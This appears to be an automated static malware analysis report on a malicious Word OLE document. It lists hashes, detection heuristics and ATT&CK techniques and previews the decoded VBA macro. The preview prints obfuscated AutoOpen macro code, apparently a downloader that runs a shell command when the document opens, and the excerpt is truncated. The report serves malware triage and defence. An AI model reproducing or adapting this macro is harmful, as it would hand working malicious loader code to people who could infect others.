Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 d0feb251f2da25ab…

MALICIOUS

Office (OLE)

159.6 KB Created: 2018-09-27 08:10:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: c7d95a7a4c67b924ad2f130b434c0862 SHA-1: 62969b6c4f194432ea8761e6663018f8a63ff8c7 SHA-256: d0feb251f2da25abe3d76e2452cc3e2d7ac9331bbeb3de1612869e3410da106b
202 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The sample contains a VBA macro with an AutoOpen subroutine, which is a common technique for executing malicious code upon document opening. The critical heuristic firing for a Shell() call in VBA indicates that the macro attempts to execute an external command. While the exact command is obfuscated, the presence of the macro and the Shell() call strongly suggests it's designed to download and execute a second-stage payload.

Heuristics 6

  • ClamAV: Doc.Malware.00536d-6699223-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.00536d-6699223-0
  • VBA macros detected medium 2 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 120232 bytes
SHA-256: 9b8c888ca2a7d1ad49d898c6c2598cbb75bb1d86c014e62213802e88938ad011
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "CPVAjEz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub AutoOpen()
   Dim SntJf(1)
SntJf(0) = Left(JlODC + cdkcRpltVBAGMzEH + VBbispbC, 180) + InStrRev(Likqik + CjuYHDsDZPwuGbIuZz + kjlpzaP, CAHKbd + ozXdtVQIdOapczJrVpF + uAvtnOfw) + Right(kCGFqoQZ + AEZZtjMRwNjfiitcuzQlzs + sTDFQQ, 407) + Right(bWAECONp + WYWwtwuzkSZhnziszSJ + SZbYrjCv, 421)
   Dim tVWJRU(2)
tVWJRU(0) = InStrRev(DYBpMm + fzjiMdiUMXCPhpFXwa + cwnqTRk, KTXwpJV + spFwTGWCAGPipGWDmLNkzl + KXOfjHIi) + Right(jdjUQT + WbdQbWwdifEHLLiiUXH + WBWJs, 350) + InStr(AoORStwc + ddCfNWCVllPlPtaPNEL + ETvJsRi, jiwEr + GWJJIDzQvAVMSuRbuas + CiEBkESB) + InStrRev(GhCZdT + tzRNuQALnQtZNHdjBOM + izoBQVnH, zfZpkoB + iltpskRAnOjhTzbwvjAJ + OOsRtrAp)
tVWJRU(1) = Left(MpHvNjDn + wSMFLnCdViciZrAGvOq + HopfkP, 558) + InStr(zwvCnGGf + oUkKMooDjZBrwWzjRNs + fwjXDuAP, iAWicPw + jPzpAKjIwjwwCzhQlJjJ + NrcsURV) + InStr(lYhJiN + rRjflZwOhfpQzMnTMr + LLiQYzE, WwprC + tCtGkpzlTVzvTDkXT + AAJibTS) + Right(JPLZJz + WOciFbHDUimGiMCswBN + bFMhkTs, 424)
   Dim azotw(1)
azotw(0) = InStrRev(cirJONG + AnBcNXWKnAnzbpcWZiDcW + rrkjfWj, NFKBDdi + wpiHlYlkQOwlmfiaVH + Jwsji) + InStrRev(wEMUZB + GPHumPZCaZOXwDSiULs + KQUJjqFj, YKNNsrkN + FLvwATGSbYNiNvPwMUp + ZtHnark)
   Dim nlwkad(1)
nlwkad(0) = InStrRev(BOVUM + IjPzEvwmzjjQdazv + jHVNS, rImwcsZ + oObspJlwcHlkvXRbZukm + EiMlDl) + InStrRev(wliTY + ViQpBuNPjznmEcNckf + trcan, zFrEDPUz + wQzFEzdKhGGvdZXzYTUDa + vtcWkiAG)
   Dim HoLwH(1)
HoLwH(0) = InStr(wFZPu + rPpzSiZswwbDhuRCB + YqAjVsEV, LLXHDK + ChwMAtunXfzrwrwwiJVV + ZQrhC) + Left(avwuwMq + aFjqtiNXQENIzjLaPBNk + XwwtwiIb, 864) + InStrRev(ojNuCU + ZWRwSiZPFoNUWiOdclwl + QXsqjM, wUZFz + ZWsWEwBmrMoAckCkCL + jsHHVS) + InStrRev(kiSDOE + rTVGzYpbwsoizsFJ + PajRbbGY, YVqtiqa + URfXZfXDTKJOctloYt + zMTTNT)
   Dim bowVV(1)
bowVV(0) = InStrRev(WwQOXLfA + vUOcpPUYHjjjbKDYmAZH + VYKDONHL, PjamZLAz + qSpXzbbqWVmTqcQ + cUdfbqjR) + Right(zcFwADj + NmfUjBboSijjfVoJv + KcPXsH, 188)
   Dim KJlPTl(2)
KJlPTl(0) = InStr(joHPdvrL + SSLvLRSvNEjZwMljjmuTnzH + qIJGV, VcOwUzYv + zOJDrOqYMYwXzDEhDzOQ + JRCPjOwz) + Right(tiwzt + wwSXERujTOSojzCzoMpwZB + KrSFolTR, 391) + InStr(FAHVCu + NQvjlQwRHztVhTNOahV + Ntdwjrm, XJjOLhor + KWuzXWSpfKzrSsnAza + EwYnWrja) + InStrRev(UHGSvG + YwYiZhvtoBrpdqzwtA + FbXXs, whloCXUZ + GawrZQtRdcvHVnTCCtpjt + GVYSIR)
KJlPTl(1) = Right(nZdSjkHd + XBZPiFkWWOQrFluVwVLU + jTVnSuQ, 276) + InStrRev(quqqSi + EcWiYTbzHbMMjvmPNEbw + iIKuEDQN, oLAuBM + ImoKKmJfTtpciTtQEHEL + QTWusNBm)
   Dim zBBhd(1)
zBBhd(0) = Left(rrjZlED + KSLTHuKjjrCsVfOowt + ksfnbPQI, 953) + InStrRev(aYNuzjGr + jhHLnEFpOSiTaaTvQatJv + HkQHqC, BKYcn + TiiWrnTVDnUpYLFTw + HYQIPY) + InStr(BjkGG + ZNOURuEGpjMmTOpuaF + pODSBHL, dtmsEc + DVJTfMdfMVRMlZTFNcDvv + itadOm) + InStrRev(XjwPJC + WupMAsTNfWqBzIJdjQB + jzOpWOP, BjAFwVp + QiPuNJiHAZqvGjDii + QUEASZIJ)
   Dim CiBbuw(2)
CiBbuw(0) = InStrRev(qzzwzwR + vbwEkSMEiTqMrhnwXJL + CFMBic, FDwhfj + iPpOvpdpHQLSrrZBiXQi + tlJMzL) + Right(FotVpi + XjXMzHOMJGinjNrBEU + vOqNCz, 286) + InStr(pDAhKQXm + ApEWjjXNwdHHuzItLOzc + kVkVwTOh, cqsKifk + QhwGPjTtLiCNsOmrLfPZk + lEwPfirt) + InStrRev(nOUmd + WoaOwLQtsuDBoazOQ + ELUwZIz, ibuDv + mtkwmlwuAbZuoPojOtCmFQb + cGDQz)
CiBbuw(1) = Right(UfftS + BYjZWPSDNLchkHfzjNnw + vduIMzR, 986) + InStr(NZrEZ + DqEURaNAiVfRNcVzYirQudR + FqGYqYkF, dCjIP + UzmkDudnKMaKqzuGbzpt + PpzjrV) + InStrRev(wJUzJ + dlUNXfvQLNOInwfOoFfD + kZMhfsKs, MUjGrTYT + HTOziPpNrzhqXmGzTCWwom + BXVjMj) + InStrRev(RLMDQDQ + BiiIUkoVEbkUZrnWsKl + pVuWjhPm, mIjQhml + bYzwlAjYtmIQdoqMInopsp + nbFkG)
   Dim QAYwYl(1)
QAYwYl(0) = InStrRev(zTbmJr + qvNaDpPtSmznDjoDsSNs + jNfTdJin, FYSloL + FwJksYDVnPkdcWNKvPIH + imfRCOjJ) + InStrRev(VowVEva + YEtBipObMpwqzotlSY + URYoasF, UQouolAc + fwTpirLLBpWSpcFBojvMA + JrVDsI)
OjTKvqwGaZXi (KeyString(EiCvZ + SznYGil + 8 + 5 + 54 + HEluIk + APZTp) + QSdYp + TuWvi + KeyString(whwsG + jtsUlw + 9 + 6 + 62 + cLcXi + BN
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.